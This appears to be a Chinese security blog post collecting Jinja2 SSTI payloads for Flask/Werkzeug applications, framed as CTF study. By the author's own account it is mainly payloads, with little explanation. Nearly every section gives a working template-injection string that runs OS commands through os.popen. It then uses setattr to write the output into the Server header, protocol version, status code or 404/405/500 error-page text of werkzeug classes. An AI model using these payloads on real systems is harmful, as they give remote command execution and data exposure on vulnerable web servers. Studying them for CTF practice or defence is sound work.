Jinjia2-SSTI请求头回显


主要还是payload对于原理不进行过多描述

Server回显

一直听Mash1r0.师傅讲请求头回显,第五届封神台也是碰到了能请求头回显的ssti,就来学习一下

这个利用方式比较新,据说只要是打jaijia2的ssti应该都能打。

我们先看看回包的结构:


注意这里的Serverr,Data回显,对于原出题人的说法是在flask中存在一个Server头:

然后这个sever头有两个部分server_version和sys_version:

这两个值是WSGIRequestHandler类中的属性,这里可以更改环境中的server_version或者sys_version的值来获取回显。

中间的代码跟进不再演示

server_version调用的是WSGIRequestHandler类的server_version()方法:

利用点就是在这里,这里的方法为什么可以利用,重点在于它的@property装饰器,这个的介绍如下:

  • 这是一个装饰器,使用这个装饰器,可以将一个方法转换为属性,也就是说使用这个装饰器的方法,可以使其在访问时可以像访问属性一样,它把方法包装成属性,让方法可以以属性的形式被访问或调用。

也就是说,这个方法其实就等同于下面这种调用:

self.server_version=self.server._server_version

所以可以直接给它赋str类型的值。后面再来根据过程来给出payload

现在已经知道了对象,那么怎么获取到对象呢,即怎么获取到werkzeug.serving.WSGIRequestHandler对象,在这里我们可以通过使利用sys模块来获取到相关对象,

就是通过sys模块来获取到相关类,在原型链污染中学习了如何获取到sys模块,所以payload如下:

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__['__import__']('os').popen('chdir').read())}}

同样的还可以利用这个sys_version,只不过这里是直接调用的类的属性:

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__['__import__']('os').popen('chdir').read())}}

像server_version一样的“调用方法”。所以payload如下:

获取sys模块不只这种,同样的还存在于全局变量中,所以其实直接获取即可,如下payload:

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

参考文章的payload如下:

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

响应头扩展

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"request_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

回显的HTTP/1.1,并且是str类型,所以应该是可以如下利用的:

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

错误页面回显

比如方法错误的回显,或者500页面的回显:

状态码回显

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.wrappers.Response,"default_status",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

改404页面的(先传payload再人为构造错误页面):

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.NotFound,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

405的:

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.MethodNotAllowed,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

500的:

{{url_for.__globals__.__builtins__.setattr(url_for.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,"description",url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

文章作者: YUNiversity
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YUNiversity !
评论
  目录